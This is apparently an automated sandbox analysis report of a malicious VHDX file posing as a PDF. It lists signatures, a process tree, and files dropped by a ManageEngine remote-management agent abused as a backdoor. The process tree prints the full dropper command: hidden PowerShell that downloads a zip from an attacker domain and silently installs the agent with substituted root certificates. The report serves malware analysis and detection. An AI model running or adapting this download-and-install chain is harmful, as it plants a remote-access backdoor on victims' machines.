Overview

overview

10

Static

static

1

PDF_ADDLGJ...3.vhdx

windows10-2004-x64

10

PDF_ADDLGJ...3.vhdx

windows11-ltsc_2024-x64

10

Resubmissions

30/09/2026, 05:41

260930-gdqvrsxtby10

30/09/2026, 05:27

260930-f5fcnsw12n1

Analysis

  • user interaction
    yes
  • max time kernel
    149s
  • max time network
    152s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    30/09/2026, 05:41

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    PDF_ADDLGJ_20260922122443.vhdx
  • Size 36.0MB
  • Sample260930-gdqvrsxtby
  • SHA256 166221a31819aee46b92facc60d11e99deebca9e610adde65709c6b91344e1b0
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
backdoordefense_evasiondiscoveryexecutionratspywaretrojan

Malware Config

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    https://facai.mwkwnnn.click/rrr/1314.zip

Signatures

  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

    execution
  • DCAgent remote management tool 3 IoCs

    DCAgent is part of ManageEngine, a remote administration tool that can be used as a backdoor

    backdoorrat
  • Executes dropped EXE 23 IoCs
  • Loads dropped DLL 43 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Enumerates connected drives 3 TTPs 28 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in System32 directory 6 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Drops file in Windows directory 22 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 3 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • Modifies trusted root certificate store through registry 1 TTPs 7 IoCs

    A root certificate was added, modified, or removed in the trusted certificate store registry paths.

    defense_evasion
  • Program crash 1 IoCs
  • Reads the TCP/IP host and domain name from the registry 1 TTPs 22 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

    discovery
  • System Location Discovery: System Language Discovery 1 TTPs 41 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 15 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry class 24 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
    defense_evasionspywaretrojan
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 27 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\PDF_ADDLGJ_20260922122443.vhdx
    1⤵
    • Executes a command shell one-liner
    • Modifies registry class
    PID:1592
  • C:\Windows\System32\rundll32.exe
    C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
    1⤵
      PID:4300
    • C:\Windows\system32\svchost.exe
      C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
      1⤵
      • Drops file in Windows directory
      PID:1216
    • C:\Windows\System32\svchost.exe
      C:\Windows\System32\svchost.exe -k netsvcs -p -s BDESVC
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:3960
    • C:\Windows\System32\BdeUISrv.exe
      C:\Windows\System32\BdeUISrv.exe -Embedding
      1⤵
        PID:2344
      • \??\D:\1321162104.EXE
        "D:\1321162104.EXE"
        1⤵
        • Enumerates connected drives
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1768
        • C:\Windows\SysWOW64\cmd.exe
          cmd.exe /c md C:\cool & cd /d C:\cool & powershell -NoProfile -WindowStyle Hidden -Command "Add-Type -AssemblyName System.IO.Compression; $wc=New-Object Net.WebClient; $b=$wc.DownloadData('https://facai.mwkwnnn.click/rrr/1314.zip'); $wc.Dispose(); $ms=[System.IO.MemoryStream]::new($b); $z=[System.IO.Compression.ZipArchive]::new($ms,[System.IO.Compression.ZipArchiveMode]::Read); foreach($e in $z.Entries){$p=Join-Path 'C:\cool' $e.Name; $f=[System.IO.File]::Create($p); $e.Open().CopyTo($f); $f.Close()}; $z.Dispose()" & msiexec /i "C:\cool\UEMSAgent.msi" /qn TRANSFORMS="C:\cool\UEMSAgent.mst" ENABLESILENT=yes REBOOT=ReallySuppress INSTALLSOURCE=Manual SERVER_ROOT_CRT="C:\cool\DMRootCA-Server.crt" DS_ROOT_CRT="C:\cool\DMRootCA.crt" /l*v "C:\cool\Agentinstalllog.txt"
          2⤵
          • Enumerates connected drives
          • Executes a command shell one-liner
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:4784
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            powershell -NoProfile -WindowStyle Hidden -Command "Add-Type -AssemblyName System.IO.Compression; $wc=New-Object Net.WebClient; $b=$wc.DownloadData('https://facai.mwkwnnn.click/rrr/1314.zip'); $wc.Dispose(); $ms=[System.IO.MemoryStream]::new($b); $z=[System.IO.Compression.ZipArchive]::new($ms,[System.IO.Compression.ZipArchiveMode]::Read); foreach($e in $z.Entries){$p=Join-Path 'C:\cool' $e.Name; $f=[System.IO.File]::Create($p); $e.Open().CopyTo($f); $f.Close()}; $z.Dispose()"
            3⤵
            • Badlisted process makes network request
            • Command and Scripting Interpreter: PowerShell
            • Enumerates connected drives
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:928
          • C:\Windows\SysWOW64\msiexec.exe
            msiexec /i "C:\cool\UEMSAgent.msi" /qn TRANSFORMS="C:\cool\UEMSAgent.mst" ENABLESILENT=yes REBOOT=ReallySuppress INSTALLSOURCE=Manual SERVER_ROOT_CRT="C:\cool\DMRootCA-Server.crt" DS_ROOT_CRT="C:\cool\DMRootCA.crt" /l*v "C:\cool\Agentinstalllog.txt"
            3⤵
            • System Location Discovery: System Language Discovery
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of SetWindowsHookEx
            PID:4508
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 1768 -s 616
          2⤵
          • Program crash
          PID:3032
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 392 -p 1768 -ip 1768
        1⤵
          PID:1912
        • C:\Windows\system32\msiexec.exe
          C:\Windows\system32\msiexec.exe /V
          1⤵
          • Enumerates connected drives
          • Drops file in System32 directory
          • Drops file in Program Files directory
          • Drops file in Windows directory
          • Modifies data under HKEY_USERS
          • Modifies registry class
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of SetWindowsHookEx
          • Suspicious use of WriteProcessMemory
          PID:4700
          • C:\Windows\syswow64\MsiExec.exe
            C:\Windows\syswow64\MsiExec.exe -Embedding DAB443DDC837A883182160ABAF3DF1AF
            2⤵
            • Loads dropped DLL
            • System Location Discovery: System Language Discovery
            • Suspicious use of SetWindowsHookEx
            PID:5868
          • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentregister.exe
            "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentregister.exe" -i dc
            2⤵
            • Executes dropped EXE
            • Loads dropped DLL
            • Drops file in Program Files directory
            • Drops file in Windows directory
            • Modifies trusted root certificate store through registry
            • Reads the TCP/IP host and domain name from the registry
            • System Location Discovery: System Language Discovery
            • Modifies data under HKEY_USERS
            • Modifies system certificate store
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:5564
            • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
              7za e -mx9 "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\agent_binaries.7z" -o"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\" -y
              3⤵
              • Executes dropped EXE
              • Drops file in Program Files directory
              • System Location Discovery: System Language Discovery
              • Suspicious use of AdjustPrivilegeToken
              PID:2648
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /C systeminfo.exe > "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\logs\systeminfo.log"
              3⤵
              • Executes a command shell one-liner
              • System Location Discovery: System Language Discovery
              • Suspicious use of WriteProcessMemory
              PID:5020
              • C:\Windows\SysWOW64\systeminfo.exe
                systeminfo.exe
                4⤵
                • System Location Discovery: System Language Discovery
                • Gathers system information
                • Modifies data under HKEY_USERS
                PID:2052
            • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcstatusutil.exe
              "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcstatusutil.exe" -install 22
              3⤵
              • Executes dropped EXE
              • Loads dropped DLL
              • Drops file in Program Files directory
              • Reads the TCP/IP host and domain name from the registry
              • System Location Discovery: System Language Discovery
              • Modifies data under HKEY_USERS
              PID:2828
            • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcinventory.exe
              bin\dcinventory.exe -i postinstallation 0 1
              3⤵
              • Executes dropped EXE
              • Loads dropped DLL
              • Drops file in System32 directory
              • Drops file in Program Files directory
              • Reads the TCP/IP host and domain name from the registry
              • System Location Discovery: System Language Discovery
              • Modifies data under HKEY_USERS
              • Suspicious use of WriteProcessMemory
              PID:5144
              • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\metroapps.exe
                metroapps.exe
                4⤵
                • Executes dropped EXE
                • Loads dropped DLL
                • System Location Discovery: System Language Discovery
                PID:4440
        • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentservice.exe
          "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentservice.exe"
          1⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • System Location Discovery: System Language Discovery
          PID:5772
        • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentservice.exe
          "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentservice.exe"
          1⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Drops file in Program Files directory
          • Reads the TCP/IP host and domain name from the registry
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:4948
          • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcusbsummary.exe
            "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcusbsummary.exe" -s ET_ENUM 9 2 "Unknown"
            2⤵
            • Executes dropped EXE
            • Loads dropped DLL
            • Reads the TCP/IP host and domain name from the registry
            • System Location Discovery: System Language Discovery
            • Checks SCSI registry key(s)
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of SetWindowsHookEx
            • Suspicious use of WriteProcessMemory
            PID:5512
            • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcusb64.exe
              "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcusb64.exe" -s 9
              3⤵
              • Executes dropped EXE
              • Drops file in Program Files directory
              • Checks SCSI registry key(s)
              PID:1156
          • C:\Program Files (x86)\ManageEngine\UEMS_Agent\dcconfig.exe
            7 0 0
            2⤵
            • Executes dropped EXE
            • Loads dropped DLL
            • Drops file in Program Files directory
            • Reads the TCP/IP host and domain name from the registry
            • System Location Discovery: System Language Discovery
            • Modifies data under HKEY_USERS
            PID:1512
          • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcstatusutil.exe
            bin\dcstatusutil.exe RequestAgentSlotFromServer
            2⤵
            • Executes dropped EXE
            • Loads dropped DLL
            • Reads the TCP/IP host and domain name from the registry
            • System Location Discovery: System Language Discovery
            • Modifies data under HKEY_USERS
            PID:2232
          • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcondemand.exe
            "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcondemand.exe"
            2⤵
            • Executes dropped EXE
            • Loads dropped DLL
            • Drops file in Program Files directory
            • Reads the TCP/IP host and domain name from the registry
            • System Location Discovery: System Language Discovery
            • Modifies data under HKEY_USERS
            PID:5692
          • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcswmeter.exe
            "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\dcswmeter.exe" -s ET_COL
            2⤵
            • Executes dropped EXE
            • Loads dropped DLL
            • Reads the TCP/IP host and domain name from the registry
            • System Location Discovery: System Language Discovery
            • Suspicious use of AdjustPrivilegeToken
            PID:980
          • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcinventory.exe
            "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\dcinventory.exe" -s prenotify
            2⤵
            • Executes dropped EXE
            • Loads dropped DLL
            • Drops file in Program Files directory
            • Reads the TCP/IP host and domain name from the registry
            • System Location Discovery: System Language Discovery
            • Modifies data under HKEY_USERS
            PID:1260
          • C:\Program Files (x86)\ManageEngine\UEMS_Agent\dcconfig.exe
            3 0 0
            2⤵
            • Executes dropped EXE
            • Loads dropped DLL
            • Drops file in Program Files directory
            • Reads the TCP/IP host and domain name from the registry
            • System Location Discovery: System Language Discovery
            • Modifies data under HKEY_USERS
            • Suspicious use of WriteProcessMemory
            PID:1964
            • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcinventory.exe
              bin\dcinventory.exe -p processor compatibility
              3⤵
              • Executes dropped EXE
              • Loads dropped DLL
              • Reads the TCP/IP host and domain name from the registry
              • System Location Discovery: System Language Discovery
              PID:5748
            • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
              "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\data\OSDetection.json.gz" OSDetection.json
              3⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              PID:2844
            • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
              "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\drvforceupdate.exe.gz" drvforceupdate.exe
              3⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              PID:5368
            • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
              "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\dcdriverupdates.dll.gz" dcdriverupdates.dll
              3⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              PID:5744
            • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
              "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\dcpatchutils.dll.gz" dcpatchutils.dll
              3⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              PID:4928
            • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
              "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "superseded-tree-scan-data.7z" superseded-tree-scan-data.xml
              3⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              PID:5488
            • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
              "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\vulnerable-resources\ServerDetectionChecks.dll.gz" ServerDetectionChecks.dll
              3⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              PID:464
            • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
              "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\vulnerable-resources\MisconfigEngine.dll.gz" MisconfigEngine.dll
              3⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              PID:1280

        Network

              MITRE ATT&CK Enterprise v16

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              e5a28db.rbs
              • Path C:\Config.Msi\e5a28db.rbs
              • Size 58KB
              • SHA256 6abca15dce1d4759e34d20045f32e11aacd3ffa87809a15b443a2c0f6e7e4703
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              e5a28e0.rbs
              • Path C:\Config.Msi\e5a28e0.rbs
              • Size 546B
              • SHA256 5939c4f5bf98a9019f448cf1d72a9c635fde186087e48bcef520d87b5b8e1730
              • MD5 SHA1 SHA512 TLSH
              Submit Download

              client.p12
              • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\Certificates\client.p12
              • Size 1002B
              • SHA256 2b0e9c0507a940f8bb4eeff713a1fe0253595047ad6932b07a954e183da0ee1c
              • MD5 SHA1 SHA512 TLSH
              Submit Download

              7za.exe
              • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
              • Size 802KB
              • SHA256 f00836a63be7ebf14e1b8c40100c59777fe3432506b330927ea1f1b7fd47ee44
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              ClientAuthHandler.dll
              • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\ClientAuthHandler.dll
              • Size 2.3MB
              • SHA256 7627f75435af64ab72991eb93996df3f61101e7b57cdf5a9d8d2e06d75b76aad
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              Lato-Bold.eot
              • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\Lato-Bold.eot
              • Size 250KB
              • SHA256 b91fc1ca55df440dc11354b32a39b45db663d24bb17b16dcb2e706330955b0d1
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              Lato-Medium.eot
              • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\Lato-Medium.eot
              • Size 245KB
              • SHA256 1727853b9469a665c3a5573e39503bc592a794d810aed5d03e9a8940f507823c
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              agent_binaries.7z
              • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\agent_binaries.7z
              • Size 14.6MB
              • SHA256 6d5bf676a5800214126df113bbf68a8b3f6ea051ccfbf212c11927df89035082
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              ca-certs.zip
              • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\ca-certs.zip
              • Size 160B
              • SHA256 7e6debd55c669504ffd364e96b1e539c5d6839472887ecd739ba79b155c62fa1
              • MD5 SHA1 SHA512 TLSH
              Submit Download

              cfgUpdate.exe
              • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\cfgUpdate.exe
              • Size 62KB
              • SHA256 7232bb0e4842bf2f8a370dce70df60c72560416a5bb317650cf88afbd7acb820
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              cold_normal_msghldr.gif
              • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\cold_normal_msghldr.gif
              • Size 536B
              • SHA256 fc7d90a7546fb0f8c8ad6e617f74d185be15f85aaf5d329919bc2776887bc9d1
              • MD5 SHA1 SHA512 TLSH
              Submit Download

              dcagentregister.exe
              • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentregister.exe
              • Size 92KB
              • SHA256 430aad28ddd50d0026f7e547764b2f4cd7c54204519e119614895068397904dc
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              dcagentservice.exe
              • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentservice.exe
              • Size 1.2MB
              • SHA256 23fa8f503da68dd5724b136f9f401ab747db352e5edd8e2c277bf7426f774773
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              dcinventory.exe
              • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcinventory.exe
              • Size 2.0MB
              • SHA256 8e35a7064793a56a8d6f1e08050fa588571c8898f5bcea4f78228cf343ce5016
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              dcstatusutil.exe
              • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcstatusutil.exe
              • Size 1.1MB
              • SHA256 b24ad0ae12c05931f11b66f26166c7ec41a7be318893aebe4cc2babe29bdb080
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              dcusbsummary.exe
              • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcusbsummary.exe
              • Size 2.8MB
              • SHA256 4f8c591982de67c9211011e4a4a9560b93eabd6c08f2856d7638cc4c802a3b64
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              hot_mover_msghldr.gif
              • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\hot_mover_msghldr.gif
              • Size 172B
              • SHA256 c9657b6062e0798cfb5e39be8d8d1546d901ee339dde4915c82b40460a205f9e
              • MD5 SHA1 SHA512 TLSH
              Submit Download

              resources.exe
              • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\resources.exe
              • Size 318KB
              • SHA256 7e311d65ca1a0461cc6bda079efdcbd4f2f0a7967c2f09be02f2b62b97eb4848
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              topmiddle.bmp
              • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\topmiddle.bmp
              • Size 1016B
              • SHA256 bb6b032f562a0578070b18e1002c22bec4520cf191f11384af316a0ae33b8cea
              • MD5 SHA1 SHA512 TLSH
              Submit Download

              ui-icons_444444_256x240.png
              • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\ui-icons_444444_256x240.png
              • Size 6KB
              • SHA256 eaf7c7ee2747275dda6c53e731a10db1a7b15f4fbb46e1b69d6bb2056bc9fd81
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              ui-icons_555555_256x240.png
              • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\ui-icons_555555_256x240.png
              • Size 6KB
              • SHA256 5d04051dfd9d2d740355404f98a683d1ec0feb2fca7d76e533c1a6e5ce92dd2e
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              ui-icons_777620_256x240.png
              • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\ui-icons_777620_256x240.png
              • Size 4KB
              • SHA256 9dbe4a0d03feed6f65eb2560a0a8b4ba4264545ee8fd31c1763a3b219d0328d6
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              ui-icons_777777_256x240.png
              • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\ui-icons_777777_256x240.png
              • Size 6KB
              • SHA256 e75b27211e16fcf94715168001bb7055ca376d46f928110ba3d0825232452e5a
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              ui-icons_cc0000_256x240.png
              • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\ui-icons_cc0000_256x240.png
              • Size 4KB
              • SHA256 02891575d4358e9edde3e42d94057f8e9f82a9d64376f71ee86cef149d30537e
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              ui-icons_ffffff_256x240.png
              • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\ui-icons_ffffff_256x240.png
              • Size 6KB
              • SHA256 b6b06deef2b924cc3835d63f4883d47882734a33e71b212d917a68cede3b8e9d
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              AgentApplicationResources.properties
              • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\AgentApplicationResources.properties
              • Size 98KB
              • SHA256 fb1321f35dacb680e3cefb846f65f657b7141ecaaac61ecea2a009f6a0434426
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              OSDetection.json
              • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\OSDetection.json
              • Size 15KB
              • SHA256 d4a4d290a60e27dde19bb6b6183da79ebb8a254bd25ffa41f8c5d3d67f8c2702
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              OSDetection.json
              • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\OSDetection.json
              • Size 28KB
              • SHA256 60d8882f39c586ab3c36b54529d8b31cf30d538c89d0dc2fb8cbae8c344691df
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              OSDetection.json.gz5400.tmp
              • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\OSDetection.json.gz5400.tmp
              • Size 2KB
              • SHA256 5261b3e69078e902b1de05968785674565757a2fe8233b3d892e7b796ca6a537
              • MD5 SHA1 SHA512 TLSH
              Submit Download

              configuration-settings-dc-win10.xml
              • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\configuration-settings-dc-win10.xml
              • Size 242KB
              • SHA256 1a388c11ac7b14c44ecb605da1f6111274beb11d947442311c5ef1a88d6e4b68
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              data-dictionary-framework.xml
              • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\data-dictionary-framework.xml
              • Size 415KB
              • SHA256 9e2dcf836433b648d592cf5ea82af6d44cc6f0cb8625436dc164dda3601df2a7
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              data-dictionary-onpremise.xml
              • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\data-dictionary-onpremise.xml
              • Size 109KB
              • SHA256 08d8186f45e7586351c3c345b0bd85d9ca6df33032277a4952255825cc7bd428
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              data-dictionary.xml
              • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\data-dictionary.xml
              • Size 1.6MB
              • SHA256 0c6236f2f6794c79fb2795bea6eb04775d94ea8079ce9d92502236bfb448a706
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              dynamic-variables.xml
              • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\dynamic-variables.xml
              • Size 28KB
              • SHA256 6df9a28cfd8d76f1e41e6f9fcdf28eb8fa3b5a5d67015ba51fdf1c76980bde1d
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              vmware-names.conf5260.tmp
              • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\vmware-names.conf5260.tmp
              • Size 55B
              • SHA256 2001c465639c8b53419ae3ef4069ba573577ed26f592c988463e5db44336d7f8
              • MD5 SHA1 SHA512 TLSH
              Submit Download

              dcagent.dll
              • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\dcagent.dll
              • Size 3.1MB
              • SHA256 15ad7ce2ebfda80a19bde288e71b7c63c1b3cd71416b7ee2df6504610de44883
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              dcconfig.exe
              • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\dcconfig.exe
              • Size 7.0MB
              • SHA256 27800f916566d2a564e48eb543d1c511c72b344765ff4f9bdafb113d13669f01
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              Lato.woff
              • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\Lato.woff
              • Size 36KB
              • SHA256 8587742fa147f288638345f101fe58bd8a426a22c33cf92dc286e928203ef019
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              drop_down_icon.png
              • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\drop_down_icon.png
              • Size 449B
              • SHA256 159e7193e72731b16a6516403ff192be20e836a4d06becee474a46ac57e2ce59
              • MD5 SHA1 SHA512 TLSH
              Submit Download

              info.png
              • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\info.png
              • Size 2KB
              • SHA256 5042147fddc3c27e346a4145a7448a4199265e12cfced518871f2a318476cb7a
              • MD5 SHA1 SHA512 TLSH
              Submit Download

              dcagentinstaller.log
              • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcagentinstaller.log
              • Size 102KB
              • SHA256 80a9408932759d4d596bfa8f444a3fb67083be590f9cf963e2813de0da21531c
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              dcagentservice.log
              • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcagentservice.log
              • Size 3KB
              • SHA256 4190f6d70a7bf492fdde1bfb7c12cdf2a3a706272e0e7ff3a7e007e6a8dfccb1
              • MD5 SHA1 SHA512 TLSH
              Submit Download

              dcdatatransferdown.log
              • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcdatatransferdown.log
              • Size 4KB
              • SHA256 de7d7fea7700d01bb5df29b71dbc8fe69c5e25132c2421279c7176040be363ab
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              dcdatatransferup.log
              • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcdatatransferup.log
              • Size 455B
              • SHA256 6459bc56039c99b9ba0061da652ad59da6775147fc1b73cbf2e2bda076b924f6
              • MD5 SHA1 SHA512 TLSH
              Submit Download

              dc5260.tmp
